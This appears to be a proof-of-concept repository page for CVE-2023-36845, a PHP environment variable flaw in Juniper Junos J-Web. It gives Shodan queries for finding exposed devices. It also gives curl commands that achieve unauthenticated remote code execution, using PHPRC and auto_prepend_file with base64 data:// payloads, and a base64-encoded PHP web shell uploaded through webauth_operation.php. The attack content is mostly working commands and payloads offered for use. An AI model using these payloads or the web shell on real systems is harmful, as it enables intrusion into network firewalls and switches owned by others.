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CVE-2023-36845 PoC — Juniper Networks Junos OS EX 安全漏洞

Source
Associated Vulnerability
Title:Juniper Networks Junos OS EX 安全漏洞 (CVE-2023-36845)
Description:Juniper Networks Junos OS EX是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。 Juniper Networks Junos OS EX存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。
Readme
<h1 align=center>CVE-2023-36845</h1>
<p align="center">
    <img width=60% height=60% src="https://github.com/kljunowsky/CVE-2023-36845/assets/104329412/d8f4be14-148b-44ff-a294-25662f6007a6">
</p>



## Description

CVE-2023-36845 represents a notable PHP environment variable manipulation vulnerability that impacts Juniper SRX firewalls and EX switches. While Juniper has categorized this vulnerability as being of medium severity, in this article, we will elucidate how this singular vulnerability can be leveraged for remote, unauthenticated code execution.

## Search - Shodan
```
title:"Juniper Web Device Manager"
```
<img width="1840" alt="image" src="https://github.com/kljunowsky/CVE-2023-36845/assets/104329412/5b4224e1-7e5b-45fe-b2ee-0b1658c20b0d">

```
title:"Juniper" http.favicon.hash:2141724739
```

<img width="1840" alt="image" src="https://github.com/kljunowsky/CVE-2023-36845/assets/104329412/84aca479-7b9e-4a4d-84f0-8e678c367548">

## Usage 🛠
Detection
```
python3 CVE-2023-36845.py -f targets.txt -o output.txt
```

## RCE 🧨
### Option 1 
Utilizing any protocol wrapper in conjunction with `auto_prepend_file` is feasible. The most suitable choice for this operation is the `data://` protocol, which allows inline provision of the "secondary file". Here's a sophisticated representation of this exploit, executing the embedded `<? phpinfo(); ?>` within the `data://` scheme:

```
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
```
Execute `whoami` command

`<?php shell_exec('whoami'); ?>`
```
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
```

### Option 2
Upload a file

`<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>`

```
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'
```

## Parameters 🧰 

Parameter | Description | Type
------------ | ------------- | -------------
--file / -f | Input targets file | File
-o | Output file | File


File Snapshot

[4.0K] /data/pocs/64669787395c670bc24919401388f20903331540 ├── [1.4K] CVE-2023-36845.py └── [2.3K] README.md 0 directories, 2 files
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